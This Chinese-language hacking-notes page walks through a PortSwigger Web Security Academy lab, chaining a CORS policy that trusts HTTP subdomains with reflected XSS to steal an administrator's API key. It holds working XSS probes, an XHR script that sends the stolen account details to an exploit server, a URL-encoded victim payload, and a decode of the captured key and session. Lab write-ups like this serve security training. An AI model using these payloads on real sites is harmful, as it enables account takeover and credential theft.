> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cors/cors-with-trusted-insecure-protocols.md).

# 信任不安全协议的 CORS

### 存在受信任的不安全协议的 CORS 漏洞

该站点存在有漏洞的 CORS 配置：它信任所有 **子域**，即使使用 **HTTP**。目标是通过 CORS 获取管理员的 API 密钥，并将其提取到利用服务器。

提供的凭据： `wiener:peter`。该站点存在有漏洞的 CORS 配置：它信任所有 **子域**，即使使用 **HTTP**。目标是通过 CORS 获取管理员的 API 密钥，并将其提取到利用服务器。

提供的凭据： `wiener:peter`.

#### 观察

* 根域名可被接受于 **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/b9e7119d50e5654285c1c7c854d2fb67bd51f4e2" alt=""><figcaption></figcaption></figure>

**子域** 在 HTTP 中也可被接受：

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/aff75267fae2134b794317fdc808c92e6c3eaf73" alt=""><figcaption></figcaption></figure>

通过 stockcheck 识别出的子域：

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="/files/a4799d976195819ce931e866fc0a8d7ab823ec05" alt=""><figcaption></figcaption></figure>

此项会反映 `productId` → \*\*HTML/JS\*\* 注入可能：

```html
?productId=test&storeId=1
```

<figure><img src="/files/1429b27dd6e96b9290eec3a382eca9f12442ccd0" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="/files/2039b44c74c93d87c13a14c46f949ac5d6c22ccb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4a04ecbabc60ff28e6c13a15e2826e80c1363dbd" alt=""><figcaption></figcaption></figure>

#### 利用：读取 `/accountDetails` 和外传

使用的 XHR 脚本（通过子域发送）：

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

将脚本注入到 `productId` 有漏洞子域的参数中：

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

重定向到用于利用的 URL，使用 `apiKey` 变量，其中包含编码后的响应。

<figure><img src="/files/8f834da1a9c79414f182c71a82906cb1651e7498" alt=""><figcaption></figcaption></figure>

#### 发送给受害者的有效载荷（URL 编码版本）

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* 在服务器上接收 API 密钥，以通过该 `apiKey` 参数进行利用。

<figure><img src="/files/40ac6b1a1e0cdc702d0fa524480fb4204de48178" alt=""><figcaption></figcaption></figure>

* 使用以下命令解码：

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="/files/edb353208e2271d8ec049f46df9530b0f99cfd13" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/cors/cors-with-trusted-insecure-protocols.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
